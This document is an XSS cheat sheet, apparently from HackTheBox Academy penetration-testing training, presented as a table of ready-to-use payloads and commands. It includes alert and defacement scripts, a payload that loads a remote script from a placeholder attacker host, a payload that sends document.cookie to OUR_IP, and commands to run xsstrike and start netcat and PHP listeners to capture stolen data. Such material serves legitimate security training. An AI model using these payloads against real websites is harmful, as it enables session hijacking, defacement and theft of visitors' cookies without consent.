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# Cheat sheet - XSS

### Commands

| Code                                                                                          | Description                       |
| --------------------------------------------------------------------------------------------- | --------------------------------- |
| **XSS Payloads**                                                                              |                                   |
| `<script>alert(window.origin)</script>`                                                       | Basic XSS Payload                 |
| `<plaintext>`                                                                                 | Basic XSS Payload                 |
| `<script>print()</script>`                                                                    | Basic XSS Payload                 |
| `<img src="" onerror=alert(window.origin)>`                                                   | HTML-based XSS Payload            |
| `<script>document.body.style.background = "#141d2b"</script>`                                 | Change Background Color           |
| `<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>` | Change Background Image           |
| `<script>document.title = 'HackTheBox Academy'</script>`                                      | Change Website Title              |
| `<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>`                | Overwrite website's main body     |
| `<script>document.getElementById('urlform').remove();</script>`                               | Remove certain HTML element       |
| `<script src="http://OUR_IP/script.js"></script>`                                             | Load remote script                |
| `<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>`               | Send Cookie details to us         |
| **Commands**                                                                                  |                                   |
| `python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"`                           | Run `xsstrike` on a url parameter |
| `sudo nc -lvnp 80`                                                                            | Start `netcat` listener           |
| `sudo php -S 0.0.0.0:80`                                                                      | Start `PHP` server                |


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